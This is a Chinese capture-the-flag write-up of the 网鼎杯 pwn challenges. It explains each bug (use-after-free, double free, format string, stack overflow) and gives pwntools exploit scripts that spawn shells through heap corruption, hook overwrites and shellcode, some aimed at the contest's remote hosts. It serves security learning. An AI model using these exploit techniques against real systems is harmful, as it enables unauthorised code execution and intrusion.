网鼎杯pwn部分wp
水了一波网鼎,菜死~~~~
guess
题目
很直接的一个题目,运行后提示缺少flag文件,目测flag在内存中
创建flag文件后,运行直接让猜flag,输入超长串后直接stack smashing,而且没有结束
ida查看程序,发现程序有四次fork机会
解题思路
- canary的玩法公开的有
- 循环fork的程序,直接单字节爆破canary
- 通过覆盖栈上的环境变量,leak 内存数据!!!!
- 覆盖线程的canary
- 一开始一直在想办法绕过canary做rop,以为又是什么新姿势
- 吃饭的时候突然想到四次leak足够我们拿到flag,got->libc->stack->flag
- canary的玩法公开的有
exp
1 | #!/usr/bin/env python3 |
blind
题目
简单明了的堆题 ,提供new change release三个选项
没开pie。。。,有一个调用system(/bin/sh)函数
漏洞位置
在release选项中存在uaf,只能release 3次
限制条件,堆申请大小固定为0x68,最多6个
利用思路
- 通过uaf拿到bss段地址
- 修改存放在bss上的file指针
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52from pwn import *
local = 1
context.log_level = 'debug'
if local:
p = process('./blind')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
p = remote('106.75.20.44' , 9999)#nc 106.75.20.44 9999
libc = ELF('./libc.so.6')
def new(index , content):
p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.sendline(content)
p.recvuntil('Done!')
def change(index , content):
p.recvuntil('Choice:')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.sendline(content)
p.recvuntil('Done!')
def release(index):
p.recvuntil('Choice:')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Done!')
def debug():
print pidof(p)[0]
raw_input()
back_door = 0x4008E3
fake_heap = 0x601fe5
new(0 , 'A'*0x8 ) #00
new(1 , p64(0x4008e3)*12 ) #01
new(2 , 'C'*0x8 ) #02
release(0)
release(2)
change(2, p64(0x601ff5 ))
new(3 , '\x01'*0x8 ) #00
debug()
new(4 , '\x00'*0x13+p64(0x6020f0)+p64(0x601f90)) #00
p.interactive()
easycoin
题目
一道很类似于记账系统的提,RELRO 终于不是full了
首先需要注册用户,才能登入内部选单
内部选单提供了转账 ,查询转账信息,查询用户信息,删除用户等功能
漏洞位置
看了好久都没发现,在把玩时,发现可以给自己转账,删除账户时报double free
全局变量有一个用户链表,用户链表的结构体中,有一条单链表记录转账信息
在删除用户时,首先清除转账信息链表,也会同时摘除其他用户维护的链表
而在删除函数中临时指针没有检测用户自身链表是否改变可以导致double free
利用思路
- 利用double free改变fastbin fd 拿到bss指针
- 修改bss段上的列表达到任意写
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94#!/usr/bin/env python3
# coding=utf-8
from pwn import *
context.terminal = ['tmux','sp','-h','-l','105']
context.log_level = 'debug'
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
rn = lambda x:p.recvn(x)
sa = lambda x,y:p.sendafter(x,y)
slocal = 1
def hint():
print 'pidof is %s ' % pidof(p)
raw_input('waiting for debug')
def makep(ip='',port=0,binary=''):
global p
if 1:
p = process(binary)
else:
p = remote(ip,port)
def register(name , passwd):
sla("> ", '1')
sla("> ", name)
sla("> ", passwd)
sla("> ", passwd)
def login(name , passwd):
sla("> ", '2')
sla("> ", name)
sla("> ", name)
def leak(fmt):
sa("> ", fmt)
ru("Command: ");
data = rn(len('0x7fd700e692c0'))
return data
def send_coin(user,many):
sla("> ", '2')
sla("> ", user)
sla("> ", many)
def change_pass(passwd):
sla("> ", '4')
sla("> ", passwd)
def log_out():
sla("> ", '6')
def dele_user(name):
sla("> ", '5')
def pwn():
libc = ELF('./libc-2.23.so')
makep(binary="./EasyCoin")
register('AAAA',"AAAA")
register('BBBB',"BBBB")
register('CCCC',"CCCC")
login('CCCC',"CCCC")
for x in xrange(0x2f):
send_coin('CCCC','1')
log_out()
login('AAAA',"AAAA")
libc.address = int(leak('%3$p'),16) - 0xf72c0
heap = int(leak('%9$p')[:len('0x154b000')], 16)
success("libc is " + hex(libc.address))
success("heap is " + hex(heap))
send_coin('BBBB',str(heap+0xf0))
log_out()
login('BBBB',"BBBB")
change_pass('\x00'*0x10+p64(0x30))
send_coin('BBBB','1000')
dele_user('BBBB')
login('CCCC','CCCC')
send_coin('CCCC','1')
log_out()
register(p64(0x6030e0),'oooo')
payload = '1'*16 + p64(0x603100) + p64(libc.symbols['__malloc_hook'])
sla("> ", '1')
sla("> ", '1'*16)
sa("> ", payload[0:31])
sa("> ", '1'*16+'\x0a')
hint()
login(p64(0x603100),'')
change_pass(p64(libc.address+0xf02a4 ))
p.interactive()
pwn()
babyheap
题目
一如既往的baby题。。。
常规选单题,提供堆申请,释放,内容编辑,内容展示选项
仁慈的没开pie
漏洞位置
在删除处存在一处uaf
限制条件
申请堆大小固定为0x20,且最多为10个
只能编辑内容三次
利用思路
1.通过uaf leak 堆地址
2.修改fd指向自身内部伪造的chunk造成overlap
3.利用overlap修该下一个堆块的size,释放得到unsortbin,leak libc地址
4.再次修改unsortbin中的chunk大小为0x20,再次申请堆,得到smallbin
5.修改fd 和 bk,触发unlink,使bss段的列表指针只想自身,达到任意写
6.修改free hook ,getshell
tip:能用overlap修改数据的就尽量不用uaf修改
exp
1 | #!/usr/bin/env python3 |
easyFmt
简单的格式化字符串利用
exp
1 | from pwn import * |
fgo
简单的double free
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34#!/usr/bin/env python3
# coding=utf-8
from pwn import *
context.terminal = ['tmux','sp','-h','-l','105']
context.log_level = 'debug'
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
rn = lambda x:p.recvn(x)
def hint():
print 'pidof is %s ' % pidof(p)
raw_input('waiting for debug')
def makep(ip='',port=0,binary=''):
global p
def addu(size ,name):
sla(":",'1')
sla(":",str(size))
sla(":",name)
def delu(idx):
sla(":",'2')
sla(":",str(idx))
global p
p = process("./pwn")
addu(8,'A'*7)
delu(0)
delu(0)
addu(100,'A'*100)
addu(8,p32(0x08048956))
p.interactive()
hvm
题目
- 题目给了一个hvm elf文件和一个hvmbin的数据文件
- 程序实现了一个一个虚拟机,虚拟机的各寄存器为全局量
- 程序运行时会mmap两块区域,一块为code段,一块为stack
- 程序功能为输入串,打印hello str
漏洞位置
- 输入超长串后会seg fault 栈溢出
漏洞利用
- 一直很怵虚拟机这类的东西
- 这次的题目设计得比较简单,基本逆向清楚了
- 存在syscall,构造好寄存器就能getshell
- 最后的rop构造时遇到了一些困难
- 比赛时没有时间完成,赛后参考了别人的终于完成
exp
1
2
3
4
5
6
7
8
9
10
11from pwn import *
context.log_level = 'debug'
p = process("./hvm")
payload = 'A'*52 + p32(0xfdfbffff) + '/bin/sh\x00'+ p32(0x000001) + p32(0x3b000000)
payload += p32(0x0000004) + p32(0)
payload += p32(0x000000d) +p32(0x000001a)
payload += p32(0)+p32(0x000000e)
print pidof(p)
raw_input()
p.sendline(payload)
p.interactive()
soEasy
题目叫soeasy,应该不难,运行起来给了一个奇怪的地址,输出超长字符串直接报错,目测战溢出。
- gdb 运行,生成pattern,确定偏移为76,发现上面地址为栈地址,没有开nx,直接扔shellcode。
最终脚本
1
2
3
4
5
6
7
8
9
10
11
12from pwn import *
context.log_level ='debug'
p =remote("106.75.95.47" ,42264)
#p = process("./pwn")
p.recvuntil("->")
stack = int(p.recvuntil('\n')[:-1],16)
print "stack is " + hex(stack)
sh = asm(shellcraft.sh())
sh += (76-len(sh))*'A' + p32(stack)
p.recvuntil("what do you want to do?")
p.sendline(sh)
p.interactive()
pesp
正常选单题目,开正常保护。
- 在change_item 出存在堆溢出,堆申请大小可控,可以直接做fastbin attack。
发现有个secret函数,很开心。。。。。。。。。。
劫持程序流过去就打印一个假的flag。。。。。。。。
直接写got因为pattern对齐会破坏之后的函数调用,所以利用修改bss的堆指针,达到任意写
最终脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63#!/usr/bin/env python3
# coding=utf-8
from pwn import *
context.terminal = ['tmux','sp','-h','-l','105']
context.log_level = 'debug'
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)
def hint():
print 'pidof is %s ' % pidof(p)
raw_input('waiting for debug')
def makep(ip='',port=0,binary=''):
global p
if ip and port:
p = remote(ip,port)
else:
p = process(binary)
pass
def add(size, name):
sla(":",'2')
sla(":",str(size))
sla(":",name)
def change(size,idx, name):
sla(":",'3')
sla(" index of servant:",str(idx))
sla(":",str(size))
sa(":",name)
def remove(idx):
sla(":",'4')
sla(":",str(idx))
secret = 0x400d49
libc = ELF('./libc-2.23.so')
def pwn():
makep( ip = '106.75.27.104', port = 50514)
#makep(binary='./pwn')
add(0x60,'A'*0x20)
add(0x60,'B'*0x20)
add(0x60,'/bin/sh\x00')
remove(1)
change(0x100,0,'A'*0x60+ p64(0)+ p64(0x71) + p64(0x6020ad) + '\n')
add(0x60,'A'*20)
add(0x60,'B'*3+p64(0x100)+p64(0x602018)*1)
sla(":",'1')
data = ru("0 : ")
data = rn(6)
libc.address = u64(data.ljust(8,'\x00')) - libc.symbols['free']
system = libc.symbols['system']
one = libc.address + 0xf1147
print hex(libc.address)
change(0x20,0,p64(system)+ p64(libc.symbols['puts']) + '\n')
remove(2)
p.interactive()
pwn()
note
- 拿到题目名字叫deathnote,一瞬间想起pwnable,尝试输入负数下标志,失败。
ida打开,发现没有用atoi,而是自己的函数转换数字。
输入-10 ,存在相同和alivenote相同漏洞,然而八字节变成了四字节
上次写这种shellcode的过程相当痛苦,决定找其他方法做。作者自己实现的堆申请和释放函数。
malloc
free
- 发现data区域有指向自己的指针可以任意读写code空间,成功leak libc地址,距离成功一大半。
- 最后发现,还是需要写shellcode,由于每次只能输入4byte,无法修改高四位指针。卒!!!!
impossible
- 程序提供四个选项功能
- 选项一read输入,将输入的数据用puts打印,只能进入一次
- 选项二输入超长串到bss段,可以选择递归调用,可以进入多次
- 选项三输入2bytes,printf打印,可以进入多次
- 选项9011,打开/dev/random 读入8bytes,如果输入与读入字节相同,则拷贝bss段超长串存在栈溢出,不同则直接退出函数,可以多次进入
- 漏洞利用
- 偶然尝试%a打印浮点数时会判断出错,可以leak出libc地址
- 通过多次调用boring,在栈的低位放置canary ,利用选项一puts leak出canary
- 耗尽fd,read不出数据后,就可以通过secret比较,栈溢出rop
- 因为close(0),所以通过直接调用system(cmd)的方式执行命令
1 | #!/usr/bin/env python3 |